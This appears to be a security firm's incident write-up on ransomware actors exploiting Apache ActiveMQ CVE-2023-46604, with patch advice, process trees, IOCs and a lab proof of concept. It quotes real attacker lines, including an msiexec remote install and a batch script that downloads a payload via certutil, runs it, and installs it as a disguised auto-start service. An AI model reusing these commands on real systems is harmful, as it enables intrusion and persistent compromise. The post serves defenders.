ĢTV

This is some text inside of a div block.
Glitch effect

Critical Vulnerability: Exploitation of Apache ActiveMQ CVE-2023-46604

Glitch effectGlitch effectGlitch effect
Glitch banner

A partner recently deployed ĢTV agents on October 30, 2023, after experiencing a “HelloKitty” ransomware attack on October 27. This ransomware attack followed closely with what was described by Rapid7 in their blog post on November 1, titled .

What Is CVE-2023-46604?

Rapid7 identified suspected exploitation of Apache ActiveMQ CVE-2023-46604. The CVE is a remote code execution vulnerability. ĢTV has already seen this vulnerability being exploited in an environment we monitor. It is imperative you patch your systems immediately.

Patch Immediately

If you are running Apache ActiveMQ, patches are available to address CVE-2023-46604 for the following versions: 5.15.16, 5.16.7, 5.17.6, and 5.18.3. To determine the version of ActiveMQ you are running, a is available. The version will be listed by running the command activemq --version.

Patches can be found here:

If you are unable to patch these systems, you should immediately block the systems from being accessible from the Internet, which will significantly limit the attack surface.

ĢTV Observations

The ĢTV team received a number of signals indicative of remote commands issued via Apache ActiveMQ. As illustrated in Figure 1, the process lineage started with wrapper.exe and java.exe, and resulted in a command processor execution.

Figure 1: Command Process Tree

The ĢTV team’s investigation determined that the exploitation of Apache ActiveMQ was the root cause of this incident.

Analysis of Windows Event Log data extracted from one endpoint indicated historical (prior to the ĢTV agent being installed) signs of a compromise that aligned with what was observed by Rapid7. Specifically, MsiInstaller events indicated the start of installation for both http://172.245.16].]125/m4.png and http://172.245.16[.]125/m2.png. However, neither package appeared to install successfully. One of the packages failed to install due to an error with C:\Windows\Installer\MSIB9E7.tmp, and the other completed, but C:\Windows\Installer\MSIBC6B.tmp was detected and quarantined by Windows Defender.

Both *.png files were, in fact, MSI installer files packaged using the exe2msiSetupPackage, from QwertyLab, as illustrated in Figure 2.

Figure 2: MsiInstaller event ID 1033 event record message (Application Event Log)

Following this activity, the ĢTV team observed the process tree illustrated in Figure 1, as well as in Figure 3, on multiple endpoints.

Figure 3: RuntimeBroker.msi Process Tree

The process tree, with full file paths, for RuntimeBroker.msi, illustrated in Figure 3, appears as follows:

C:\MRX\Apache\ActiveMQ\bin\win64\wrapper.exe -> C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe -> “cmd.exe /c msiexec /q /i http://4.216.93[.]211:5981/RuntimeBroker.msi”

The command to download and install the RuntimeBroker.msi file via MSIExec does not appear to have succeeded on either endpoint, as there are no MsiInstaller event records visible in the Application Event Log for that endpoint, during that time.

Following the unsuccessful attempt to install the RuntimeBroker.msi file, the command illustrated in Figure 1 was observed on several endpoints. However, within a short period (a second or less), Windows Defender detected and quarantined the agent_w.exe file on that same endpoint. Even though agent_w.exe was quarantined, analysis of the retrieved file indicates that it attempts to connect to 137.175.17[.]172.

On November 2, the ĢTV team was alerted to multiple endpoints executing curl requests via the URL hxxp://27.102.128[.]152:8098/bit[.]ico, as illustrated in Figure 4. This activity appeared to spawn from the execution of wrapper.exe located within a subdirectory of the ActiveMQ installation files, exactly as observed in previous process trees.

Figure 4: Curl Process Tree

The ĢTV team would like to note that activity of this nature was observed as early as October 10, as illustrated in Figure 5.

Figure 5: Process Creation Event from October 10, 2023

At the time that analysts responded to the alert illustrated in Figure 5, the system at IP address 45.32.120[.]181 was not accessible, but the win.bat file was retrieved from alternative sources, and appears as follows:

@echo off

cmd /c certutil -urlcache -split -f http://45.32.120[.]181/x86.exe  c:\users\public\86.dat

cmd /c start /b c:\users\public\86.dat

sc create windowDefenSrv  binPath= "c:\users\public\86.dat windowDefenSrv" start= auto

del c:\users\public\win.bat

At the time that the events were investigated, ĢTV analysts found no additional, subsequent malicious activity on the endpoint, indicating that the infection process did not succeed. However, the process tree was identical to what was illustrated in Figures 1 and 3.

The Attack Lab: Exploitation Proof of Concept

Exploitation for this attack is trivial. There is a that automates exploitation for this attack. The ĢTV team confirms that this module works like a charm against vulnerable instances of ActiveMQ.

The exploit process unfolds in two stages:

  • The attacker establishes a connection to ActiveMQ via the OpenWire protocol, typically running on port 61616.
  • By sending a crafted OpenWire packet, the attacker prompts the system to unmarshal a class they control. This action triggers the vulnerable server to fetch and load a class configuration XML file from a remote URL, implying the attacker must have a pre-defined XML file hosted elsewhere.

The OpenWire protocol request originates from the attacker, but the request to load a remote class configuration XML file originates from the victim server.

The original writeup for this vulnerability includes the following example of the XML file’s schema:

Screenshot 2023-11-02 at 1.12.28 PM

The loaded class calls the ProcessBuilder method to execute notepad.exe. In practice, the class configuration file will contain any of the well-known post-exploitation primitives like curl, certutil, powershell, and the like.

In this example, we simply echo “worked” into C:\Windows\Temp\worked.txt to prove successful exploitation:

Figure 6: Running the Metasploit Module

We then see the new file in the vulnerable server’s C:\Windows\Temp directory, which proves code execution:

Figure 7: Proof of Execution

We also see the requested class configuration file in the Wireshark HTTP stream for this example:


Figure 8: Reconstructed Network Traffic via Wireshark

Indicators of Compromise (IOCs)

137.175.17[.]172

172.245.16].]125:80

4.216.93[.]211:5981

27.102.128[.]152:8098

45.32.120[.]181

File Name

Hash

Agent_w.exe

dd13cf13c1fbdc76da63e76adcf36727cfe594e60af0dc823c5a509a13ae1e15

RuntimeBroker.msi

4c9fa87e72fe59cf15131bd2f3bd7baa7a9555ceec438c1df78dd5d5b8394910

Sigma Detector

The ĢTV DE&TH team has also released a public for this particular threat.

ĢTV has added detections for the activity reported in this blog. If you’d like to have someone else watching your back while you work on patching, feel free to with us so our 24/7 SOC can keep an eye out for you.

Special thanks to Josh Allman, Faith Stratton, Izzy Spering, Matthew Kiely, Matt Anderson, Sharon Martin, Harlan Carvey, and Joe Slowik for their contributions to this writeup.

Share

Sign Up for Blog Updates

Subscribe today and you’ll be the first to know when new content hits the blog.

By submitting this form, you accept our Privacy Policy
Oops! Something went wrong while submitting the form.
ĢTV at work
Response to Incidents
Response to Incidents